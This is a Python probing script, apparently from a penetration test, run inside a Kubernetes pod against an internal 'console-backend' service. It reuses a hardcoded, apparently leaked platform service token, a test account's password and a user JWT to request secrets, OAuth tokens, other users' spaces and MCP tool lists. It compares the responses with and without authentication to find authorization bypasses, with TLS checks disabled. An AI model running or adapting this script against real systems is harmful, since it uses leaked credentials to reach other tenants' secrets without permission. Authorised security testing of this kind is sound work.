#!/usr/bin/env python3
# In-pod differential (uid=10000 hermes): platform service token AGENTEK_MCP_TOKEN
# vs low-priv user JWT vs no-auth, against console-backend internal REST + MCP routes.
# READ-ONLY (GET + JSON-RPC initialize/tools/list). Writes results to workspace.
import json, os, ssl, time, urllib.request, urllib.error
OUT = "/opt/data/workspace/i26390/diff.out"
CTX = ssl._create_unverified_context()
def log(s):
    try: print(s, flush=True)
    except Exception: pass
    with open(OUT, "a") as f: f.write(s + "\n")
open(OUT, "w").close()

HOST = "console-backend.agentek.svc.cluster.local:3000"
BASE = "http://" + HOST
EMAIL = "agentekprobe770dsux@euploading.com"
PW = "Str0ngPass!w0rd"
MCP = "Zmf6Yb126zNLyrmfughbPTebAJidJajPH-z8wISnRak"  # platform service token (finding 25801)

def http(method, path, token=None, body=None, extra=None):
    url = BASE + path
    h = {"Accept": "*/*", "User-Agent": "diff-pod/1.0"}
    if token: h["Authorization"] = "Bearer " + token
    data = None
    if body is not None:
        data = json.dumps(body).encode(); h["Content-Type"] = "application/json"
        h["Accept"] = "application/json, text/event-stream"
    if extra: h.update(extra)
    req = urllib.request.Request(url, data=data, headers=h, method=method)
    try:
        with urllib.request.urlopen(req, timeout=15, context=CTX) as r:
            b = r.read(600); return r.status, b.decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        try: b = e.read(600)
        except Exception: b = b""
        return e.code, b.decode("utf-8", "replace")
    except Exception as e:
        return "ERR", str(e)[:140]

def login():
    c, t = http("POST", "/api/auth/login", body={"email": EMAIL, "password": PW})
    try:
        return c, json.loads(t.split("\n")[0]).get("accessToken")
    except Exception:
        return c, None

log("=== POD DIFF %s host=%s uid=%s ===" % (time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()), os.uname().nodename, os.getuid()))
# reachability
log("TCP %s => %s" % (HOST, http("GET", "/api/health")[0]))
c, JWT = login()
log("LOGIN %s jwt=%s" % (c, (JWT[:22] + "...") if JWT else None))

ROUTES = [
    "/api/me",
    "/api/spaces",
    "/api/agents",
    "/api/agents?spaceId=4",       # operator space (user4/space4=obbana2)
    "/api/agents?spaceId=476",     # our own space
    "/api/spaces/4",
    "/api/spaces/476",
    "/api/secrets",
    "/api/secrets?scope=space&spaceId=4",
    "/api/secrets?scope=space&spaceId=476",
    "/api/secrets?scope=user",
    "/api/secrets?scope=global",
    "/api/mcp-tokens",
    "/api/oauth",
    "/api/oauth/tokens",
    "/api/documents",
    "/api/documents?spaceId=4",
    "/api/mcp/servers",
]
cases = [("USERJWT", JWT), ("MCPTOKEN", MCP), ("NOAUTH", None)]
for path in ROUTES:
    log("\n### GET " + path)
    for label, t in cases:
        code, txt = http("GET", path, token=t)
        log("  %-9s -> %s :: %s" % (label, code, txt.replace("\n", " ")[:180]))

# MCP JSON-RPC endpoint liveness (token is meant to be valid HERE)
log("\n=== POST /api/mcp/services (JSON-RPC) ===")
bodies = [("initialize", {"jsonrpc": "2.0", "id": 1, "method": "initialize",
           "params": {"protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "d", "version": "1"}}}),
          ("tools/list", {"jsonrpc": "2.0", "id": 2, "method": "tools/list", "params": {}})]
for label, t in cases:
    log("-- " + label)
    for nm, b in bodies:
        code, txt = http("POST", "/api/mcp/services", token=t, body=b)
        log("  %-11s -> %s :: %s" % (nm, code, txt.replace("\n", " ")[:300]))
log("\n=== DONE ===")
